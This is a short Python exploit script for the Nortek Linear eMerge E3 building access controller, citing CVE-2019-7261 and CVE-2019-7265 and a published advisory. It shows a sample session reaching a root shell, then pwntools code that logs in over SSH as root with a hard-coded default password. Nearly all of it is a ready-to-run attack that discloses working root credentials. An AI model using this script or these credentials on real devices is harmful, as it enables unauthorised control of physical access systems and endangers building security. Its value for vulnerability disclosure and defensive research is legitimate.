#!/usr/bin/env python # # Nortek Linear eMerge E3 Access Controller SSH/FTP Remote Root # Affected version: <=1.00-06 # CVE: CVE-2019-7261, CVE-2019-7265 # Advisory: https://applied-risk.com/resources/ar-2019-005 # Paper: https://applied-risk.com/resources/i-own-your-building-management-system # # by Gjoko 'LiquidWorm' Krstic # # ==== # python lineare3_sshroot.py 192.168.1.2 # [+] Connecting to 192.168.1.2 on port 22: Done # [!] Only Linux is supported for ASLR checks. # [*] root@192.168.1.2: # Distro Unknown Unknown # OS: Unknown # Arch: Unknown # Version: 0.0.0 # ASLR: Disabled # Note: Susceptible to ASLR ulimit trick (CVE-2016-3672) # [+] Opening new channel: 'shell': Done # [*] Switching to interactive mode # Last login: Fri Nov 1 04:21:44 2019 from 192.168.2.17 # root@imx6slevk:~# id # uid=0(root) gid=0(root) groups=0(root) # root@imx6slevk:~# pwd # /home/root # root@imx6slevk:~# exit # logout # [*] Got EOF while reading in interactive # [*] Closed SSH channel with 192.168.1.2 # ==== from pwn import * if len(sys.argv) < 2: print 'Usage: ./e3.py <ip>\n' sys.exit() ip = sys.argv[1] rshell = ssh('root', ip, password='davestyle', port=22) rshell.interactive()